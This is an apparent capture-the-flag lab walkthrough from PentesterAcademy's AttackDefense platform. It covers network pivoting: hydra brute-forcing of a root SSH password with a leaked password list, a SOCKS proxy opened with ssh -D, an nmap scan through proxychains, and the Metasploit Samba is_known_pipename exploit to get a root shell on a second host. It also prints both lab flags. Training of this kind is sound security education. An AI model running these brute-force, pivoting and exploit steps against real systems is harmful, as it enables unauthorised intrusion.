
ATTACK
DEFENSE
by PentesterAcademy

Name	Pivoting VII
URL	https://www.attackdefense.com/challengedetails?cid=149
Type	Network Pivoting : Single Pivots

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

The challenge descriptions makes it clear that there are two machines on different networks. The objective is to retrieve two flags stored on these machines.

Step 1: Check the IP address of our Kali machine. From the information given in the challenge description, that target A should be located at 192.214.15.3

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7822: eth0@if7823: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.5/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
7826: eth1@if7827: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:d6:0f:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.214.15.2/24 brd 192.214.15.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Run nmap on target A. From the nmap results, it is clear that only SSH service is running on the system.

Command: nmap 192.214.15.3

```
root@attackdefense:~# nmap 192.214.15.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 21:27 UTC
Nmap scan report for 0o3tstm9pltkodmlzy5fijb56.temp-network_a-214-15 (192.214.15.3)
Host is up (0.000011s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 02:42:C0:D6:0F:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
root@attackdefense:~#
```

For a detailed scan the following command can be used

Command: nmap -p- -sV -script=banner 192.60.92.3

Step 3: There is no vulnerable service running on target A. So, try to bruteforce SSH credentials of target A machine.

Command: hydra -t 4 -l root -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt ssh://192.214.15.3

```
root@attackdefense:~# hydra -t 4 -l root -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt ssh://192.214.15.3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-10 21:27:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 3957 login tries (l:1/p:3957), ~990 tries per task
[DATA] attacking ssh://192.214.15.3:22/
[22][ssh] host: 192.214.15.3   login: root   password: 1234567890
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-10 21:28:29
root@attackdefense:~#
```

Step 4: Using found credentials, SSH into target A machine. In addition to logging into the server, we are also going to create proxy binding on 9050.

Command: ssh root@192.214.15.3 -D 9050

Enter password 1234567890

```
root@attackdefense:~# ssh root@192.214.15.3 -D 9050
The authenticity of host '192.214.15.3 (192.214.15.3)' can't be established.
ECDSA key fingerprint is SHA256:oj5QKRqCuERnTYhUU5/pcJePvp5fRdOOZdFlJoNOYAI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.214.15.3' (ECDSA) to the list of known hosts.
root@192.214.15.3's password:
bind [::1]:9050: Cannot assign requested address
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
root@victim-1:~#
```

Step 5: After logging in, retrieve the flag.

Commands:
find / -name flag*
cat /root/flag.txt

```
root@victim-1:~# find / -name flag*
/root/flag.txt
root@victim-1:~#
root@victim-1:~# cat /root/flag.txt
f9a32da38bf9fba2b6c7f7b7fe8709a2
root@victim-1:~#
```

Flag 1: f9a32da38bf9fba2b6c7f7b7fe8709a2

Step 6: Check the IP addresses of the target A as this information is required to target the other machine (i.e. target B).

```
root@victim-1:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.214.15.3  netmask 255.255.255.0  broadcast 192.214.15.255
        ether 02:42:c0:d6:0f:03  txqueuelen 0  (Ethernet)
        RX packets 1353  bytes 101248 (101.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1337  bytes 105318 (105.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.105.68.2  netmask 255.255.255.0  broadcast 192.105.68.255
        ether 02:42:c0:69:44:02  txqueuelen 0  (Ethernet)
        RX packets 73  bytes 9155 (9.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@victim-1:~#
```

We can use netstat to verify that the proxy is in action.

Command: netstat -tpln

```
root@attackdefense:~# netstat -tpln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:45654           0.0.0.0:*               LISTEN      369/ttyd
tcp        0      0 127.0.0.11:42745        0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      379/ssh
root@attackdefense:~#
```

Step 7: Scan the target B machine using nmap over proxychains.

No configuration changes were done for proxychains because proxychains used port 9050 by default.

Command: proxychains nmap -sT -Pn 192.105.68.3

```
root@attackdefense:~# proxychains nmap -sT -Pn 192.105.68.3
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 21:38 UTC
|S-chain|-<>-127.0.0.1:9050-<><>-192.105.68.3:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-192.105.68.3:53-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-192.105.68.3:995-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-192.105.68.3:9593-<--timeout
Nmap scan report for 192.105.68.3
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
```

Step 8: Samba service is running on target B. Use metasploit to exploit samba service. Start the metasploit and set the already established proxy in metasploit.

Command: setg proxies socks4:127.0.0.1:9050

```
msf5 > setg proxies socks4:127.0.0.1:9050
proxies => socks4:127.0.0.1:9050
msf5 >
```

Step 9: Try one of the popular samba exploits on target B.

Commands:
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.105.68.3
exploit

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.105.68.3
RHOSTS => 192.105.68.3
msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] 192.105.68.3:445 - Using location \\192.105.68.3\share\ for the path
[*] 192.105.68.3:445 - Retrieving the remote path of the share 'share'
[*] 192.105.68.3:445 - Share 'share' has server-side path '/tmp/
[*] 192.105.68.3:445 - Uploaded payload to \\192.105.68.3\share\vNWoaAVZ.so
[*] 192.105.68.3:445 - Loading the payload from server-side path /tmp/vNWoaAVZ.so using \\PIPE\/tmp/vNWoaAVZ.so.
[-] 192.105.68.3:445 -    >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.105.68.3:445 - Loading the payload from server-side path /tmp/vNWoaAVZ.so using /tmp/vNWoaAVZ.so...
[+] 192.105.68.3:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (127.0.0.1:35891 -> 127.0.0.1:9050) at 2018-11-10 21:41:44 +0000

whoami
root
```

Step 10: After getting console on target B machine, retrieve the flag.

Command: find / -name flag*

```
find / -name flag*
/root/flag.txt
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
```

Command: cat /root/flag.txt

```
cat /root/flag.txt
5a53298f3d0eba33b403c9581650eceb
```

Flag 2: 5a53298f3d0eba33b403c9581650eceb